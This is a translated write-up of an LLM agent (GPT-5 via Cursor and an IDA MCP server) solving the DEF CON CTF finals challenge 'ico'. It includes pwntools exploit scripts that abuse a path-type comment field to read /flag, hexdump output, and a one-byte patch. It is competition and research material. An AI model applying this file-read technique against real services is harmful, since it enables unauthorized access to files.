Deep Learning 101, Taiwan’s pioneering and highest deep learning meetup, launched on 2016/11/11 @ 83F, Taipei 101
AI是一條孤獨且充滿惶恐及未知的旅程,花俏絢麗的收費課程或活動絕非通往成功的捷徑。
衷心感謝當時來自不同單位的AI同好參與者實名分享的寶貴經驗;如欲移除資訊還請告知。
由 TonTon Huang Ph.D. 發起,及其當時任職公司(台灣雪豹科技)無償贊助場地及茶水點心。
Deep Learning 101 創立初衷,是為了普及與分享深度學習及AI領域的尖端知識,深信AI的價值在於解決真實世界的商業問題。
去 YouTube 訂閱 | Facebook | 回 GitHub Pages | 到 GitHub 點星 | 到 Hugging Face Space 按愛心
| 大語言模型 | 語音處理 | 自然語言處理 | 電腦視覺 |
|---|---|---|---|
| Large Language Model | Speech Processing | Natural Language Processing, NLP | Computer Vision |
翻譯整理自 All You Need Is MCP - LLMs Solving a DEF CON CTF Finals Challenge
同步匯整自 https://github.com/shellphish/artiphishell
同步匯整自 你所需要的只是一個模糊測試大腦
同步匯整自 一個由LLM驅動的自動漏洞檢測和修補系統
與傳統安全工具不同,Artiphishell 不只是"發現問題",而是提供從發現→驗證→修復的完整自動化流程,就像一個能獨立運作的安全專家團隊。
想像 Artiphishell 就像一個全自動的網路安全診所:
每年,世界級的戰隊都會參加像 Plaid CTF 與 HITCON CTF 這樣困難的 CTF,試圖透過拿到第一名來取得 DEF CON CTF 的資格。通常一年只有 3–4 場 CTF 被指定為預先資格賽。DEF CON CTF 也有一個準決賽,依年份不同,前 8–12 名隊伍可以取得決賽資格。
DEF CON CTF 幾乎與 DEF CON 本身同樣歷史悠久,是 DEF CON 的標誌性活動之一。它吸引(而且持續吸引)會影響整個資安領域的頂尖駭客,例如 GeoHot、Zardus、Lokihardt 等。
總而言之,DEF CON CTF「就是」駭客界的奧運會,如果可以這麼說的話是總決賽的最終舞台。挑戰很難,隊伍也都是頂尖好手雲集。
在為 AIxCC 花了兩年時間與 LLMs 一起工作的過程中,已經對 LLM 能與不能的邊界有了直覺。這是第一次看到 DEF CON 決賽難度的挑戰,幾乎完全由 LLMs 解出(人為互動極少)。
在我開始之前,隊上幾位超強的駭客(salls、x3ero0、zardus 等)已經在名為「ico」的挑戰上投入大約四個小時,所以這並不是一題簡單的題目。我覺得讓社群裡其他人也見證這件事發生很重要。(頁面底部可下載我在 Cursor 中與 LLM 的完整對話記錄)
這題是一個單一的 x86-64 二進位檔,啟動後會在 4265 埠架一個伺服器。它不是完全靜態連結,但雖然有 1.4M 大小、接近 6k 個函式,實際上只使用了少數函式庫函式。
[*] '/home/clasm/ctfs/dc-finals-25/ico/ico'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
有趣的是,沒有 PIE 或 stack canary,讓溢出更容易被利用。一開始連到伺服器隨機手動傳送值沒有任何輸出。程式在每一個新連線時都會 fork 一個子行程。此外還有一個巨大的派發迴圈或 VM,看起來會讀取位元組並依據這些位元組執行不同的指令,其餘一切都還需要我們去摸索。
Shellphish 今年在 DEF CON 很忙,要同時打決賽 CTF 與送出我們的 AIxCC 作品。身為 AIxCC 團隊的其中一位負責人,會展期間幾乎都在奔波,直到比賽結束後第二天才有時間看題目。「ico」是主辦在第二天中途釋出的挑戰,當時已經有幾位我 1337 的隊友在做了。
我晚點加入並決定下場,因為我一般在 rev/pwn 還算拿手,而且看起來我們進展不多。當時已經有一個叫做 poc_ncif.py 的互動腳本,但它只用 pwntools 傳了三個空位元組。有些人還在逆向,其他人嘗試架設 fuzzers 看看是否有低垂果實可摘。
我的一位隊友 mahaloz 為另一題 viper 架了 IDA MCP 伺服器,但使用起來沒有太大進展;然而也有人把原始反編譯與指令貼到 GPT 主控台就獲得了一些成功(lol)。Blue Water 隊也讓代理在背景執行,還「解了兩題 Live CTF 挑戰」。雖然那些挑戰比大多數 DEF CON 題目簡單一些,但這也成為我自己嘗試的靈感之一。
我們即將開會,所以我快速做了一個 Docker 容器來跑挑戰,避免破壞日常環境,並啟動了我自己的「IDA MCP 伺服器」+「Cursor」(GPT‑5 剛推出且透過 Cursor 有大量免費代幣),讓它在一個部分逆向的「ico」上運行,初始提示如下。
你是我見過最強的逆向工程師,使用 Ida pro MCP 與這個二進位互動並進行逆向;我們知道這是一個伺服器應用,但除此之外不清楚太多;若需要更多資訊或任何重要決策,請隨時詢問。
這是我第一次使用 GPT‑5,我要說:它跑了,而且不停地跑。它使用了我見過最多的工具呼叫次數,儘管我也試過 claude‑4‑sonnet、claude‑4‑opus、o3 等模型;最後會議結束,我得以查看結果。它在完全無人協助下至少跑了 12 分鐘,並給了我們第一個腳本。
from pwn import remote # type: ignore
import os, sys, time
host = os.environ.get("HOST", "127.0.0.1")
port = int(os.environ.get("PORT", "4265"))
io = remote(host, port)
# handshake
io.send(b"\x10") # enable
time.sleep(0.05)
# create default entry that copies /flag into "Author"
io.send(b"\x22")
time.sleep(0.05)
# request metadata bundle: Author (flag), Software, (Comment if set)
io.send(b"\x32" + b"\x01") # 0x01 arbitrary small param
data = io.recv(timeout=2) or b""
print(f"len={len(data)} hex={data.hex()}")
# Heuristic extract: look for ASCII 'Author' then next string-ish bytes
idx = data.find(b"Author")
if idx != -1:
# naive slice forward; adjust if you want a proper parser
print("Found 'Author' near:", idx)
print(data[idx:idx+256])
# clean close (optional)
io.send(b"\x11")
io.close()
我立刻跑了腳本,結果令人失望——它可以跑但拿不到 flag,但那不就是 AI 糊常有的情況嗎。然而,這個不管用的腳本同時帶來一些相當有趣的發現:
每次連線、在處理命令之前,它會把 /flag 的內容載入到全域字串緩衝區 off_51C2E0:idk_what_this_is_man → 設定路徑為 "/flag",讀取,並把指標存入 off_51C2E0。
0x32:回傳一個打包的中繼資料區塊,包含:
- "Author" → 直接是 +40 處的字串(也就是 flag)
- "Comment"(只有在先前透過 0x31 設定過的情況)
- "Software" → +72 處的字串
- 在 0x32 後需要一個額外位元組(任意小值;用作維度)
讓我們實際看看反編譯,確認 flag 在哪裡被設定,以及驗證 LLM 的說法是否正確。
在 sub_45EFE0 裡,我們看到 /flag 字串與一些值透過呼叫在傳遞,我不完全確定這些呼叫在做什麼,但結構讓我覺得很像 C++,所以我暫時相信 LLM 所說的,最終 /flag 的內容會落到 off_51C2E0。
我們可以看到,一開始 off_51C2E0 包含指向字串「fuzyll」的指標,他是 Nautilus Institute(本題主辦)的一員,也很可能是這題的作者。LLM 也建議把腳本輸出格式化得更好,我同意了,因為原本輸出很乏味,而且我仍然不清楚眼前這東西的全貌。
from __future__ import annotations
# ... (Python script content) ...
def main():
# ...
try:
kv, raw = exploit_fetch_metadata(io)
if kv:
# ...
else:
print(f"No parsable KV bundle. Raw chunk ({len(raw)} bytes): {raw.hex()}")
# ...
if __name__ == "__main__":
main()
[x] Opening connection to 127.0.0.1 on port 4265
...
No parsable KV bundle. Raw chunk (153 bytes): 89504e47...ae426082
...
不僅腳本比前一版更長、結構也更好,且實際從伺服器拿到漂亮的輸出。顯然,這段十六進位字串不理想,所以我用 xxd 轉一下來看,有一些看起來像 ASCII 的字節。
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
...
00000040: 2774 4558 7441 7574 686f 7200 3142 3542 'tEXtAuthor.1B5B
...
00000070: 0000 0011 7445 5874 536f 6674 7761 7265 ....tEXtSoftware
...
在(其實算是第一次)看了 IDA 之後,感覺 flag 確實被寫入 LLM 提到的全域變數,接著用來設定 Author 標籤,但中間有不少我不明白用途的額外函式呼叫。位元組流裡屬於 Author 的那一段,絕對不是之前硬編碼的「fuzyll」,而是一個我不認得的值,顯示我們更進一步了,但不確定為何這個值不是 flag。
Evidence:
Your extract: Author = 1B5B55E424237B0FF70D2DAE6D79F226
MD5(flag{WINNER_WINNER_CHICKEN_DINNER}) = 1B5B55E424237B0FF70D2DAE6D79F226 (matches)
證據:你抽取到的 Author 為 1B5B55E424237B0FF70D2DAE6D79F226;而 MD5(flag{WINNER_WINNER_CHICKEN_DINNER}) 等於 1B5B55E424237B0FF70D2DAE6D79F226,完全匹配。
echo -en 'flag{WINNER_WINNER_CHICKEN_DINNER}' | md5sum
1b5b55e424237b0ff70d2dae6d79f226 -
一開始我以為這是幻覺,怎麼會是 MD5?之前逆向的同伴沒看到,我自己在二進位裡也沒看到任何與 MD5 相關的東西,也許我們只是沒看夠仔細。在主控台實測 md5sum 之後,結果吻合,讓我大為震驚;LLM 正確推斷這是 MD5,但只是在看到原始旗標之後才做到的,之前它本可早點建立這樣的連結,但也許在得到真旗標後它決定呼叫工具來驗證而不是猜測。
我跑腳本後的第一個念頭是:LLM 作弊了,我以為它在做「獎勵駭入(reward hacking)」,只是開了我本機的檔案。但我讀了兩遍程式碼,然後找了三位隊友也跑了這段程式碼,結果都證實:它真的有效。在最少的人力投入之下,我靠著不斷提問、推促、請求,讓 LLM 為一題 DEF CON 決賽等級的挑戰做出可用的利用。
# ... (Python script)
def exploit_fetch_flag_via_comment(io) -> bytes:
"""Abuse comment type=2 (path) to read /flag plaintext and return it."""
# 0x10: enable
send_cmd(io, b"\x10")
io.recv(timeout=0.5)
# 0x22: create default entry (comment type preset to 2)
send_cmd(io, b"\x22")
io.recv(timeout=0.5)
# 0x31: set comment to path "/flag" (length-prefixed blob)
send_cmd(io, b"\x31")
send_length_prefixed_blob(io, b"/flag")
io.recv(timeout=0.5)
# 0x30: get comment value; server returns a tagged blob containing file contents
send_cmd(io, b"\x30")
chunk = read_chunk(io, timeout=2.0)
if not chunk:
return b""
_tag, payload = chunk
return payload
# ...
由寫出這段利用的 LLM 來解釋最後的利用再適合不過:
0x10enables the session (ACK).0x22creates a default entry: it sets type at offset +48 to 2 (path mode), Author to g_FlagString (MD5-hex of /flag), Software to "ico v0.1".0x31length-prefixed blob sets the Comment value at offset +56 (we send "/flag").0x30returns the Comment. Because type==2, the server treats Comment as a path and returns file contents → plaintext flag.
DEF CON 決賽是攻防賽,既然有利用就要防禦它,於是我直接問 LLM,結果只花了兩個提示就拿到解法與補丁腳本。它的核心做法是把 VA 0x45F24D 那條「mov byte [*+0x30], 0x2」指令的立即數從 0x2 改成 0x1,把預設 comment 類型從 PATH(2) 改為 LITERAL(1),以純 Python 腳本計算 ELF 對映並覆寫單一位元即可。
#!/usr/bin/env python3
"""
Minimal, pure-Python patcher for 'ico' to disable comment-as-path default.
...
"""
# ... (Patcher script) ...
就這樣!單位元補丁,一次成功,隔天早上我們把補丁上線,也沒有觸發主辦單位的 SLA 檢查。
這件事讓人難以置信——我們房間裡的每個人一開始都不信,以為程式碼在某種程度上曲解了輸出,但事實不是,它真的拿到了 flag,現場一片嘩然。很快,其他人也開始下載 IDA MCP,並把各種挑戰丟進去跑;世界級的逆向與利用者暫時停下對二進位的人工作業,我們讓 LLM 來做繁重工作,這種只靠 MCP 解真題的感覺超現實,我們進入了所謂「vibe‑reversing(氛圍逆向)」的新境地。
然而樂趣到此為止,這題之後我們只自動解了一題 Live CTF,除此之外沒有其他實質成果。我其實對用這種方式解題有點煩,某一方面,技術能自動化到這種程度真的很酷,但另一方面,我喜歡解謎、學習與挑戰,我不想成為軟體或提示工程師,我想親手 pwn 題目,而不是成為 LLM 的傀儡。